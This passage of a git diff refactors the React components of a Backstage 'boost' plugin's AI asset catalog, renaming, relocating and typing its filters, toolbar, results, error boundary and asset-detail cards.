- - ); -}; - -export const AiCatalogPage = ({ filters }: AiCatalogPageProps) => { - const { t } = useTranslation(); - return ( - - - - ); -}; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogTable.tsx b/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogTable.tsx index 48037dfced7..8f10f302f26 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogTable.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogTable.tsx @@ -27,11 +27,8 @@ import { import { useTranslation } from '../../hooks/useTranslation'; import { getCategoryMeta } from '../../utils/categoryMeta'; -import { - entityHref, - getProvider, - getSpecField, -} from '../../utils/entityHelpers'; +import { entityHref } from '../../utils/entityLinks'; +import { getProvider, getSpecField } from '../../utils/entityFields'; import { AssetTypeBadge } from './AssetTypeBadge'; import styles from './AiCatalogTable.module.css'; @@ -67,8 +64,8 @@ function renderAssetTypeCell(item: AiAssetRow) { } export interface AiCatalogTableProps { - entities: Entity[]; - sort: SortState; + readonly entities: Entity[]; + readonly sort: SortState; } export const AiCatalogTable = ({ entities, sort }: AiCatalogTableProps) => { diff --git a/workspaces/boost/plugins/boost/src/components/catalog/AssetTypeBadge.tsx b/workspaces/boost/plugins/boost/src/components/catalog/AssetTypeBadge.tsx index a17a1a4eb25..979a01e808c 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/AssetTypeBadge.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/AssetTypeBadge.tsx @@ -18,10 +18,10 @@ import type { Entity } from '@backstage/catalog-model'; import { Badge } from '@backstage/ui'; import { getCategoryMeta } from '../../utils/categoryMeta'; -import { getSpecField } from '../../utils/entityHelpers'; +import { getSpecField } from '../../utils/entityFields'; import styles from './AssetTypeBadge.module.css'; -export const AssetTypeBadge = ({ entity }: { entity: Entity }) => { +export const AssetTypeBadge = ({ entity }: { readonly entity: Entity }) => { const specType = getSpecField(entity, 'type'); const categoryMeta = getCategoryMeta(specType); const Icon = categoryMeta.icon; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/ErrorBoundary.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/CatalogErrorBoundary.test.tsx similarity index 85% rename from workspaces/boost/plugins/boost/src/components/catalog/ErrorBoundary.test.tsx rename to workspaces/boost/plugins/boost/src/components/catalog/CatalogErrorBoundary.test.tsx index 9ec3171929e..10318f83429 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/ErrorBoundary.test.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/CatalogErrorBoundary.test.tsx @@ -18,7 +18,7 @@ import { renderInTestApp } from '@backstage/test-utils'; import { fireEvent, screen } from '@testing-library/react'; import type { ReactElement } from 'react'; -import { ErrorBoundary } from './ErrorBoundary'; +import { CatalogErrorBoundary } from './CatalogErrorBoundary'; function Boom(): ReactElement { throw new Error('catalog render exploded'); @@ -33,7 +33,7 @@ function BoomUntilRetry(): ReactElement { return
catalog recovered
; } -describe('ErrorBoundary', () => { +describe('CatalogErrorBoundary', () => { let consoleError: jest.SpyInstance; beforeEach(() => { @@ -47,18 +47,18 @@ describe('ErrorBoundary', () => { it('renders children when there is no error', async () => { await renderInTestApp( - +
catalog ok
-
, + , ); expect(screen.getByText('catalog ok')).toBeInTheDocument(); }); it('shows the error message and a retry action', async () => { await renderInTestApp( - + - , + , ); expect(screen.getByText('Failed to load AI assets')).toBeInTheDocument(); @@ -68,9 +68,9 @@ describe('ErrorBoundary', () => { it('renders children again after Retry', async () => { await renderInTestApp( - + - , + , ); expect(screen.getByText('catalog render exploded')).toBeInTheDocument(); diff --git a/workspaces/boost/plugins/boost/src/components/catalog/ErrorBoundary.tsx b/workspaces/boost/plugins/boost/src/components/catalog/CatalogErrorBoundary.tsx similarity index 92% rename from workspaces/boost/plugins/boost/src/components/catalog/ErrorBoundary.tsx rename to workspaces/boost/plugins/boost/src/components/catalog/CatalogErrorBoundary.tsx index ca8ca622332..2bea39573c6 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/ErrorBoundary.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/CatalogErrorBoundary.tsx @@ -18,9 +18,9 @@ import { Component, type ErrorInfo, type ReactNode } from 'react'; import { Alert, Button } from '@backstage/ui'; interface Props { - children: ReactNode; - title?: string; - retryLabel?: string; + readonly children: ReactNode; + readonly title?: string; + readonly retryLabel?: string; } interface State { @@ -34,7 +34,7 @@ interface State { * Pass `title` and `retryLabel` from the translation system * at the call site — class components cannot use hooks. */ -export class ErrorBoundary extends Component { +export class CatalogErrorBoundary extends Component { static getDerivedStateFromError(error: Error): State { return { error }; } diff --git a/workspaces/boost/plugins/boost/src/components/catalog/FilterSidebar.module.css b/workspaces/boost/plugins/boost/src/components/catalog/CatalogFilters/CatalogFilters.module.css similarity index 100% rename from workspaces/boost/plugins/boost/src/components/catalog/FilterSidebar.module.css rename to workspaces/boost/plugins/boost/src/components/catalog/CatalogFilters/CatalogFilters.module.css diff --git a/workspaces/boost/plugins/boost/src/components/catalog/FilterSidebar.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/CatalogFilters/CatalogFilters.test.tsx similarity index 91% rename from workspaces/boost/plugins/boost/src/components/catalog/FilterSidebar.test.tsx rename to workspaces/boost/plugins/boost/src/components/catalog/CatalogFilters/CatalogFilters.test.tsx index 19d530eedcf..900655855a3 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/FilterSidebar.test.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/CatalogFilters/CatalogFilters.test.tsx @@ -17,8 +17,8 @@ import { renderInTestApp } from '@backstage/test-utils'; import { screen } from '@testing-library/react'; -import type { FilterDefinition } from '../../blueprints/AiCatalogFilterBlueprint'; -import { FilterSidebar } from './FilterSidebar'; +import type { FilterDefinition } from '../../../blueprints/AiCatalogFilterBlueprint'; +import { CatalogFilters } from './CatalogFilters'; const mockFilter = (urlParam: string, label: string): FilterDefinition => ({ urlParam, @@ -31,12 +31,12 @@ const mockFilter = (urlParam: string, label: string): FilterDefinition => ({ priority: 100, }); -describe('FilterSidebar', () => { +describe('CatalogFilters', () => { it('renders a Select for each filter', async () => { const filters = [mockFilter('type', 'Type'), mockFilter('owner', 'Owner')]; await renderInTestApp( - { it('shows All when a filter has no selected values', async () => { await renderInTestApp( - { }; await renderInTestApp( - { it('returns null when filters array is empty', async () => { const { container } = await renderInTestApp( - { const filters = [mockFilter('type', 'Type')]; await renderInTestApp( - { }; await renderInTestApp( - { const filter = mockFilter('ns', 'Namespace'); await renderInTestApp( - ['t']>[0]; const ALL_FILTER_VALUE = '__all__'; @@ -40,11 +40,11 @@ function getAllFilterValue( return value; } -interface FilterSidebarProps { - filters: FilterDefinition[]; - entities: Entity[]; - values: Map; - onFilterChange: (urlParam: string, values: string[]) => void; +interface CatalogFiltersProps { + readonly filters: FilterDefinition[]; + readonly entities: Entity[]; + readonly values: Map; + readonly onFilterChange: (urlParam: string, values: string[]) => void; } function FilterSelect({ @@ -53,10 +53,10 @@ function FilterSelect({ selected, onChange, }: { - filter: FilterDefinition; - entities: Entity[]; - selected: string[]; - onChange: (values: string[]) => void; + readonly filter: FilterDefinition; + readonly entities: Entity[]; + readonly selected: string[]; + readonly onChange: (values: string[]) => void; }) { const { t } = useTranslation(); const label = filter.labelKey @@ -94,12 +94,12 @@ function FilterSelect({ ); } -export const FilterSidebar = ({ +export const CatalogFilters = ({ filters, entities, values, onFilterChange, -}: FilterSidebarProps) => { +}: CatalogFiltersProps) => { const { t } = useTranslation(); if (filters.length === 0) return null; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/FilterDrawer.module.css b/workspaces/boost/plugins/boost/src/components/catalog/CatalogFilters/FilterDrawer.module.css similarity index 100% rename from workspaces/boost/plugins/boost/src/components/catalog/FilterDrawer.module.css rename to workspaces/boost/plugins/boost/src/components/catalog/CatalogFilters/FilterDrawer.module.css diff --git a/workspaces/boost/plugins/boost/src/components/catalog/FilterDrawer.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/CatalogFilters/FilterDrawer.test.tsx similarity index 91% rename from workspaces/boost/plugins/boost/src/components/catalog/FilterDrawer.test.tsx rename to workspaces/boost/plugins/boost/src/components/catalog/CatalogFilters/FilterDrawer.test.tsx index 1328a896e1e..5df8b2dd11d 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/FilterDrawer.test.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/CatalogFilters/FilterDrawer.test.tsx @@ -16,10 +16,10 @@ import { fireEvent, render, screen } from '@testing-library/react'; -import type { FilterDefinition } from '../../blueprints/AiCatalogFilterBlueprint'; +import type { FilterDefinition } from '../../../blueprints/AiCatalogFilterBlueprint'; import { FilterDrawer } from './FilterDrawer'; -jest.mock('../../hooks/useTranslation', () => ({ +jest.mock('../../../hooks/useTranslation', () => ({ useTranslation: () => ({ t: (key: string) => key, }), diff --git a/workspaces/boost/plugins/boost/src/components/catalog/FilterDrawer.tsx b/workspaces/boost/plugins/boost/src/components/catalog/CatalogFilters/FilterDrawer.tsx similarity index 79% rename from workspaces/boost/plugins/boost/src/components/catalog/FilterDrawer.tsx rename to workspaces/boost/plugins/boost/src/components/catalog/CatalogFilters/FilterDrawer.tsx index 4c0d0cdd1ce..c58dd5ed6b3 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/FilterDrawer.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/CatalogFilters/FilterDrawer.tsx @@ -24,16 +24,16 @@ import { } from '@backstage/ui'; import { RiFilter3Line } from '@remixicon/react'; -import type { FilterDefinition } from '../../blueprints/AiCatalogFilterBlueprint'; -import { useTranslation } from '../../hooks/useTranslation'; -import { FilterSidebar } from './FilterSidebar'; +import type { FilterDefinition } from '../../../blueprints/AiCatalogFilterBlueprint'; +import { useTranslation } from '../../../hooks/useTranslation'; +import { CatalogFilters } from './CatalogFilters'; import styles from './FilterDrawer.module.css'; interface FilterDrawerProps { - filters: FilterDefinition[]; - entities: Entity[]; - values: Map; - onFilterChange: (urlParam: string, values: string[]) => void; + readonly filters: FilterDefinition[]; + readonly entities: Entity[]; + readonly values: Map; + readonly onFilterChange: (urlParam: string, values: string[]) => void; } export const FilterDrawer = ({ @@ -58,7 +58,7 @@ export const FilterDrawer = ({ {t('catalog.filter.title')} - { +export const CatalogEmptyState = () => { const { t } = useTranslation(); return ( void }) => { +export const CatalogErrorState = ({ + onRetry, +}: { + readonly onRetry: () => void; +}) => { const { t } = useTranslation(); return ( diff --git a/workspaces/boost/plugins/boost/src/components/catalog/LoadingState.tsx b/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogLoadingState.tsx similarity index 82% rename from workspaces/boost/plugins/boost/src/components/catalog/LoadingState.tsx rename to workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogLoadingState.tsx index fea066ce788..730403f90fa 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/LoadingState.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogLoadingState.tsx @@ -16,7 +16,8 @@ import { Flex, Skeleton } from '@backstage/ui'; -import styles from './AiCatalogPage.module.css'; +import layoutStyles from '../../../pages/AiCatalogPage.module.css'; +import styles from './CatalogResults.module.css'; const SkeletonCard = () => (
@@ -38,13 +39,16 @@ const SkeletonCard = () => (
); -interface LoadingStateProps { - filterCount: number; - cardCount: number; +interface CatalogLoadingStateProps { + readonly filterCount: number; + readonly cardCount: number; } -export const LoadingState = ({ filterCount, cardCount }: LoadingStateProps) => ( -
+export const CatalogLoadingState = ({ + filterCount, + cardCount, +}: CatalogLoadingStateProps) => ( +
{Array.from({ length: filterCount }, (_, i) => (
@@ -57,7 +61,7 @@ export const LoadingState = ({ filterCount, cardCount }: LoadingStateProps) => (
))}
-
+
diff --git a/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogResults.module.css b/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogResults.module.css new file mode 100644 index 00000000000..b02e3059099 --- /dev/null +++ b/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogResults.module.css @@ -0,0 +1,90 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +@layer components { + .emptyState { + min-height: 420px; + } + + .errorState { + min-height: 240px; + } + + .loadingSidebar { + display: flex; + flex-direction: column; + gap: var(--bui-space-1); + width: 100%; + flex-shrink: 0; + } + + .loadingToolbar { + display: flex; + align-items: center; + justify-content: space-between; + min-height: 72px; + padding: var(--bui-space-4); + border-bottom: 1px solid var(--bui-border-1); + } + + .loadingGrid { + display: grid; + grid-template-columns: repeat(4, 1fr); + gap: var(--bui-space-4); + flex: 1; + min-height: 0; + overflow: auto; + } + + .skeletonCard { + display: flex; + flex-direction: column; + gap: var(--bui-space-2); + padding: var(--bui-space-4); + border: 1px solid var(--bui-border-1); + border-radius: var(--bui-radius-2); + } + + .skeletonFilterInput { + margin-top: var(--bui-space-1); + } + + .skeletonGrid { + padding: var(--bui-space-4); + } + + @media (max-width: 1023px) { + .loadingSidebar { + display: none; + } + + .loadingGrid { + grid-template-columns: 1fr; + } + } + + @media (min-width: 640px) and (max-width: 1023px) { + .loadingGrid { + grid-template-columns: repeat(2, 1fr); + } + } + + @media (min-width: 1024px) { + .loadingSidebar { + width: 240px; + } + } +} diff --git a/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogResults.tsx b/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogResults.tsx new file mode 100644 index 00000000000..ca8d3da69ec --- /dev/null +++ b/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogResults.tsx @@ -0,0 +1,140 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import type { Entity } from '@backstage/catalog-model'; +import { Grid, Flex, TablePagination, type SortState } from '@backstage/ui'; + +import { AiAssetCard } from '../AiAssetCard'; +import { AiCatalogTable } from '../AiCatalogTable'; +import { CatalogToolbar, type CatalogViewMode } from '../CatalogToolbar'; +import { EmptyFilteredState } from './EmptyFilteredState'; +import { CatalogEmptyState } from './CatalogEmptyState'; +import { CatalogErrorState } from './CatalogErrorState'; +import { CatalogLoadingState } from './CatalogLoadingState'; +import styles from '../../../pages/AiCatalogPage.module.css'; + +interface CatalogResultsProps { + readonly loading: boolean; + readonly error: Error | undefined; + readonly retry: () => void; + readonly filtersCount: number; + readonly cardCount: number; + readonly allEntitiesCount: number; + readonly hasActiveFilters: boolean; + readonly entities: Entity[]; + readonly pageEntities: Entity[]; + readonly viewMode: CatalogViewMode; + readonly sort: SortState; + readonly pageSize: number; + readonly pageStart: number; + readonly hasNextPage: boolean; + readonly hasPreviousPage: boolean; + readonly searchInputValue: string; + readonly onSearchChange: (value: string) => void; + readonly onClearFilters: () => void; + readonly onViewModeChange: (value: CatalogViewMode) => void; + readonly onNextPage: () => void; + readonly onPreviousPage: () => void; + readonly onPageSizeChange: (pageSize: number) => void; +} + +export const CatalogResults = ({ + loading, + error, + retry, + filtersCount, + cardCount, + allEntitiesCount, + hasActiveFilters, + entities, + pageEntities, + viewMode, + sort, + pageSize, + pageStart, + hasNextPage, + hasPreviousPage, + searchInputValue, + onSearchChange, + onClearFilters, + onViewModeChange, + onNextPage, + onPreviousPage, + onPageSizeChange, +}: CatalogResultsProps) => { + if (loading) { + return ( + + ); + } + + if (error) return ; + + if (allEntitiesCount === 0 && !hasActiveFilters) return ; + + const totalCount = entities.length; + + return ( +
+ +
+ {totalCount === 0 && hasActiveFilters && ( + + )} + + {totalCount > 0 && viewMode === 'grid' && ( + + {pageEntities.map(entity => ( + + + + ))} + + )} + + {totalCount > 0 && viewMode === 'table' && ( + + )} +
+ {totalCount > 0 && ( + + + + )} +
+ ); +}; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/EmptyFilteredState.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/EmptyFilteredState.test.tsx similarity index 95% rename from workspaces/boost/plugins/boost/src/components/catalog/EmptyFilteredState.test.tsx rename to workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/EmptyFilteredState.test.tsx index 6df341d70bc..03499d3e809 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/EmptyFilteredState.test.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/EmptyFilteredState.test.tsx @@ -17,7 +17,7 @@ import { renderInTestApp } from '@backstage/test-utils'; import { fireEvent, screen } from '@testing-library/react'; -import { boostMessages } from '../../translations/ref'; +import { boostMessages } from '../../../translations/ref'; import { EmptyFilteredState } from './EmptyFilteredState'; const { catalog: msg } = boostMessages; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/EmptyFilteredState.tsx b/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/EmptyFilteredState.tsx similarity index 94% rename from workspaces/boost/plugins/boost/src/components/catalog/EmptyFilteredState.tsx rename to workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/EmptyFilteredState.tsx index ec9b0a29cdc..f340c2076a6 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/EmptyFilteredState.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/EmptyFilteredState.tsx @@ -16,7 +16,7 @@ import { Button, Flex, Text } from '@backstage/ui'; -import { useTranslation } from '../../hooks/useTranslation'; +import { useTranslation } from '../../../hooks/useTranslation'; export const EmptyFilteredState = ({ onClearFilters, diff --git a/workspaces/boost/plugins/boost/src/components/catalog/CatalogToolbar.module.css b/workspaces/boost/plugins/boost/src/components/catalog/CatalogToolbar.module.css new file mode 100644 index 00000000000..333d587fcd4 --- /dev/null +++ b/workspaces/boost/plugins/boost/src/components/catalog/CatalogToolbar.module.css @@ -0,0 +1,81 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +@layer components { + .toolbar { + min-height: 72px; + padding: var(--bui-space-4); + border-bottom: 1px solid var(--bui-border-1); + } + + .resultCount { + flex-shrink: 0; + } + + .toolbarActions { + flex-wrap: wrap; + justify-content: flex-end; + } + + .viewToggle { + flex-shrink: 0; + } + + .search { + width: min(280px, 100%); + } + + .search :global(.bui-SearchFieldInputWrapper) { + border: 1px solid var(--bui-border-2); + border-radius: var(--bui-radius-2); + background: var(--bui-bg-neutral-1); + } + + .search :global(.bui-SearchFieldInputWrapper:has([data-focused])) { + border-color: var(--bui-bg-solid); + } + + @media (max-width: 1023px) { + .toolbar { + align-items: center; + flex-direction: row; + flex-wrap: nowrap; + } + + .toolbarActions { + flex-wrap: nowrap; + justify-content: flex-end; + min-width: 0; + } + + .search { + flex: 1 1 auto; + width: min(240px, 100%); + min-width: 0; + } + } + + @media (max-width: 479px) { + .toolbar { + align-items: flex-start; + flex-wrap: wrap; + } + + .toolbarActions { + width: 100%; + } + } +} diff --git a/workspaces/boost/plugins/boost/src/components/catalog/CatalogToolbar.tsx b/workspaces/boost/plugins/boost/src/components/catalog/CatalogToolbar.tsx new file mode 100644 index 00000000000..4026b558433 --- /dev/null +++ b/workspaces/boost/plugins/boost/src/components/catalog/CatalogToolbar.tsx @@ -0,0 +1,103 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { + Button, + Flex, + SearchField, + Text, + ToggleButton, + ToggleButtonGroup, +} from '@backstage/ui'; +import { RiGridLine, RiListUnordered } from '@remixicon/react'; + +import { useTranslation } from '../../hooks/useTranslation'; +import styles from './CatalogToolbar.module.css'; + +export type CatalogViewMode = 'grid' | 'table'; + +interface CatalogToolbarProps { + readonly totalCount: number; + readonly hasActiveFilters: boolean; + readonly searchInputValue: string; + readonly viewMode: CatalogViewMode; + readonly onSearchChange: (value: string) => void; + readonly onClearFilters: () => void; + readonly onViewModeChange: (value: CatalogViewMode) => void; +} + +export const CatalogToolbar = ({ + totalCount, + hasActiveFilters, + searchInputValue, + viewMode, + onSearchChange, + onClearFilters, + onViewModeChange, +}: CatalogToolbarProps) => { + const { t } = useTranslation(); + const viewModeKeys = new Set([viewMode]); + + return ( + + + {`${t('catalog.toolbar.allPrefix')} (${totalCount})`} + + + {hasActiveFilters && ( + + )} + + { + const selected = [...keys][0]; + if (selected === 'grid' || selected === 'table') { + onViewModeChange(selected); + } + }} + disallowEmptySelection + > + } + /> + } + /> + + + + ); +}; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AgentInstructionsCard.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AgentInstructionsCard.tsx index 23ddd700a6d..7c3083fa6ea 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AgentInstructionsCard.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AgentInstructionsCard.tsx @@ -19,7 +19,7 @@ import { useEntity } from '@backstage/plugin-catalog-react'; import { Card, CardBody, CardHeader, Text } from '@backstage/ui'; import { useTranslation } from '../../../hooks/useTranslation'; -import { getSpecField } from '../../../utils/entityHelpers'; +import { getSpecField } from '../../../utils/entityFields'; export const AgentInstructionsCard = () => { const { entity } = useEntity(); diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AgentDetails.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AgentDetails.tsx new file mode 100644 index 00000000000..9df1d16d5d1 --- /dev/null +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AgentDetails.tsx @@ -0,0 +1,69 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { EntityRefLinks } from '@backstage/plugin-catalog-react'; +import { Text } from '@backstage/ui'; + +import { useTranslation } from '../../../../hooks/useTranslation'; +import { AvailableModels } from './AvailableModels'; +import { DetailField } from './DetailField'; +import { HandoffTargets } from './HandoffTargets'; +import type { AgentDetailsData } from './assetDetailsData'; + +interface AgentDetailsProps { + readonly details: AgentDetailsData; +} + +export const AgentDetails = ({ details }: AgentDetailsProps) => { + const { t } = useTranslation(); + + return ( + <> + {details.model && ( + + {details.model} + + )} + {details.modelsAvailable.length > 0 && ( + + + + )} + {details.tools.length > 0 && ( + + + + )} + {details.enableRAG !== undefined && ( + + + {details.enableRAG ? t('catalog.card.yes') : t('catalog.card.no')} + + + )} + {details.handoffDescription && ( + + {details.handoffDescription} + + )} + {details.handoffRefs.length > 0 && ( + + + + )} + + ); +}; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetailsCard.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AssetDetailsCard.test.tsx similarity index 90% rename from workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetailsCard.test.tsx rename to workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AssetDetailsCard.test.tsx index 2531f0f3861..0029328c161 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetailsCard.test.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AssetDetailsCard.test.tsx @@ -19,7 +19,7 @@ import { EntityProvider } from '@backstage/plugin-catalog-react'; import { renderInTestApp } from '@backstage/test-utils'; import { fireEvent, screen } from '@testing-library/react'; -import { boostMessages } from '../../../translations/ref'; +import { boostMessages } from '../../../../translations/ref'; import { AssetDetailsCard } from './AssetDetailsCard'; jest.mock('@backstage/plugin-catalog-react', () => { @@ -140,6 +140,26 @@ const ruleEntity: Entity = { }, }; +const modelServerEntity: Entity = { + apiVersion: 'backstage.io/v1alpha1', + kind: 'AiModelServerAPI', + metadata: { + name: 'multi-model-server', + namespace: 'default', + description: 'Serves multiple language models.', + }, + spec: { + type: 'ai-model-server', + lifecycle: 'production', + serverType: 'openai-v1', + requiresApiKey: false, + models: { + default: 'granite-3-instruct', + available: ['granite-3-code', 'granite-3-instruct'], + }, + }, +}; + function renderWithEntity(entity: Entity) { return renderInTestApp( @@ -216,6 +236,18 @@ describe('AssetDetailsCard', () => { expect(screen.getByText('2.0.1')).toBeInTheDocument(); }); + it('renders model server metadata and keeps a short model list inline', async () => { + await renderWithEntity(modelServerEntity); + + expect(screen.getByText('openai-v1')).toBeInTheDocument(); + expect(screen.getByText(msg.card.no)).toBeInTheDocument(); + expect(screen.getAllByText('granite-3-instruct')).toHaveLength(2); + expect(screen.getByText('granite-3-code')).toBeInTheDocument(); + expect( + screen.queryByRole('button', { name: /View all models/ }), + ).toBeNull(); + }); + it('renders nothing when there is no asset detail content', async () => { const { container } = await renderWithEntity(emptyEntity); expect(container).toBeEmptyDOMElement(); diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetailsCard.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AssetDetailsCard.tsx similarity index 51% rename from workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetailsCard.tsx rename to workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AssetDetailsCard.tsx index efe56d2dc3a..2b64194093f 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetailsCard.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AssetDetailsCard.tsx @@ -14,41 +14,49 @@ * limitations under the License. */ -import { useMemo } from 'react'; import { useEntity } from '@backstage/plugin-catalog-react'; import { Badge, Card, CardBody, CardHeader, Flex, Text } from '@backstage/ui'; -import { useTranslation } from '../../../hooks/useTranslation'; +import { useTranslation } from '../../../../hooks/useTranslation'; +import { AgentDetails } from './AgentDetails'; +import { DetailField } from './DetailField'; +import { McpServerDetails } from './McpServerDetails'; +import { ModelServerDetails } from './ModelServerDetails'; +import { RuleDetails } from './RuleDetails'; +import { SkillDetails } from './SkillDetails'; import { - getDistinctSpecField, - getHandoffRefs, -} from '../../../utils/entityHelpers'; -import { - AssetTypeDetails, - getAssetTypeDetails, - hasAssetTypeDetails, - DetailField, -} from './AssetTypeDetails'; + getAssetDetailsData, + hasAssetDetails, + type AssetTypeDetailsData, +} from './assetDetailsData'; + +const TypeDetails = ({ + details, +}: { + readonly details: AssetTypeDetailsData; +}) => { + switch (details.type) { + case 'agent': + return ; + case 'ai-model-server': + return ; + case 'mcp-server': + return ; + case 'skill': + return ; + case 'rule': + return ; + default: + return null; + } +}; export const AssetDetailsCard = () => { const { entity } = useEntity(); const { t } = useTranslation(); + const data = getAssetDetailsData(entity); - const handoffRefs = useMemo(() => getHandoffRefs(entity), [entity]); - const typeDetails = getAssetTypeDetails(entity, handoffRefs); - const description = entity.metadata.description?.trim() || undefined; - const rationale = getDistinctSpecField(entity, 'rationale'); - const version = - entity.metadata.annotations?.['rhdh.io/ai-asset-version'] ?? undefined; - - if ( - !description && - !rationale && - !version && - !hasAssetTypeDetails(typeDetails) - ) { - return null; - } + if (!hasAssetDetails(data)) return null; return ( @@ -57,21 +65,21 @@ export const AssetDetailsCard = () => { - {description && ( + {data.description && ( - {description} + {data.description} )} - {rationale && ( + {data.rationale && ( - {rationale} + {data.rationale} )} - - {version && ( + {data.typeDetails && } + {data.version && ( - {version} + {data.version} )} diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AvailableModels.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AvailableModels.tsx new file mode 100644 index 00000000000..6fb45c6e182 --- /dev/null +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AvailableModels.tsx @@ -0,0 +1,42 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { Flex, Text } from '@backstage/ui'; + +import { AvailableModelsDialog } from 